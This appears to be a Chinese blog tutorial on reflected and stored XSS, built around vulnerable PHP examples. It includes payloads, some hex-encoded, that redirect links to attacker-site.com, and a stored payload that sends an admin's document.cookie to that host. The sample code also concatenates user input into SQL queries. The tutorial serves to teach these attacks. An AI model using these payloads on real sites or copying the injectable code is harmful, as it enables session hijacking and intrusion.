XSS 跨站脚本攻击(Cross Site Scripting)
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
下面我们通过具体例子,了解两种类型xss攻击。
1.非持久型xss攻击
顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
- <?php
- $name = $_GET['name'];
- echo "Welcome $name<br>";
- echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
- ?>
该页面显示两行信息:
- 从URI获取 'name' 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
- index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:
- Welcome guest
- <script>alert('attacked')</script>
- <br>
- <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:
- index.php?name=
- <script>
- window.onload = function() {
- var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
- </script>
当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:
- Welcome
- <script>
- window.onload = function() {
- var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
- </script>
- <br>
- <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。
对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:
- index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2.持久型xss攻击
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
- <?php
- $Host= '192.168.1.8';
- $Dbname= 'app';
- $User= 'yyy';
- $Password= 'xxx';
- $Schema = 'test';
- $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
- /* Connect with database asking for a new connection*/
- $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
- /* Error checking the connection string */
- if (!$Connect) {
- echo "Database Connection Failure";
- exit;
- }
- $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
- $result=pg_query($Connect,$query);
- $row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
- $user_pass = md5($_POST['pass_word']);
- $user_name = $row['user_name'];
- if(strcmp($user_pass,$row['password'])!=0) {
- echo "Login failed";
- }
- else {
- # Start the session
- session_start();
- $_SESSION['USER_NAME'] = $user_name;
- echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
- }
- ?>
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
- <?php
- session_start();
- if(!$_SESSION['USER_NAME']) {
- echo "Need to login";
- }
- else {
- $Host= '192.168.1.8';
- $Dbname= 'app';
- $User= 'yyy';
- $Password= 'xxx';
- $Schema = 'test';
- $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
- $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
- if($_SERVER['REQUEST_METHOD'] == "POST") {
- $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
- pg_query($Connect,$query);
- echo "Update Success";
- }
- else {
- if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
- echo "Welcome admin<br><hr>";
- echo "List of user's are<br>";
- $query = "select display_name from $Schema.members where user_name!='admin'";
- $res = pg_query($Connect,$query);
- while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
- echo "$row[display_name]<br>";
- }
- }
- else {
- echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
- echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
- echo "<input type=\"submit\" value=\"Update\">";
- }
- }
- }
- ?>
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
- <a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>
攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,攻击者就可以窃取到 admin 的session-id:
- xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
XSS 跨站脚本攻击(Cross Site Scripting)的更多相关文章
- 跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...
- WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...
- 跨站脚本攻击(Cross‐Site Scripting (XSS))实践
作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- 哈工大 信息安全实验 XSS跨站脚本攻击原理与实践
XX大学XX学院 <网络攻击与防御> 实验报告 实验报告撰写要求 实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性. ...
- 跨站脚本攻击XXS(Cross Site Scripting)修复方案
今天突然发现,网站被主页莫名奇妙的出现了陌生的广告. 通过排查发现是跨站脚本攻击XXS(Cross Site Scripting).以下为解决方案. 漏洞类型: Cross Site Scriptin ...
- python---xss(Cross Site Scripting)跨站脚本攻击和csrf(xsrf)跨站点请求伪造(Cross—Site Request Forgery)攻击
xss跨站脚本攻击:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. 例如:某些论坛允许用户自由发言,而 ...
随机推荐
- 视锥体(frustum)裁剪
原文地址:http://www.linuxgraphics.cn/graphics/opengl_view_frustum_culling.html 背景 视锥体(frustum),是指场景中摄像机的 ...
- IntelliJ IDEA 的 .idea 目录加入.gitignore无效的解决方法
[转载] 无效的原因是:对应的目录或者文件已经被git跟踪,此时再加入.gitignore后就无效了, 解决办法: 先执行 [文件夹] git rm -r --cached .idea [文件] ...
- Xcode密钥没有备份或者证书过期,出现Valid Signing错误
密钥没有备份 或者证书过期,和Xcode 4.4中的证书,出现 Valid Signing 错误时 1.生成私有证书,打开钥匙串,钥匙串访问 – 证书助理 – 从证书颁发机构请求证书…,填入iD ...
- 妙味远程课堂-JS热身运动-上
希望某个元素移除视线 display:none//显示无 visibility:hidden//可见性 隐藏 width/height 改为0 透明度 定位,left/top值为负值 用与背景颜色一样 ...
- mysql数据库2
命令行客户端软件MySQL Command Line Client, 打开该程序,输入数据库密码,登陆到MySQL软件, 如果想通过该命令行工具来操作MySQL软件,只需要在"mysql&g ...
- python -m 命令单独运行一个文件,怎么解决单独运行文件报错?
依旧是续上篇解决为什么项目能运行,单独文件不能运行. 依旧是python3先发下目录结构,依旧是cmd运行,不要弄pycharm开始运行,否则有些错误就发现不了! 项目下面有pac1文件夹,pac1下 ...
- Java通过复选框控件数组实现添加多个复选框控件
编写程序,通过复选框控件数组事先选择用户爱好信息的复选框,在该程序中,要求界面中的复选框数量可以根据指定复选框名称的字符串数组的长度来自动调节. 思路如下: 创建JPanel面板对象: 使用JPane ...
- How to solve the problem : "You have been logged on with a temporary profile"
/*By Jiangong SUN*/ I've encountered a problem in one server, which is : Every time I login into the ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- SpringBoot(二)-- 支持JSP
SpringBoot虽然支持JSP,但是官方不推荐使用.看网上说,毕竟JSP是淘汰的技术了,泪奔,刚接触 就淘汰.. SpringBoot集成JSP的方法: 1.配置application.prope ...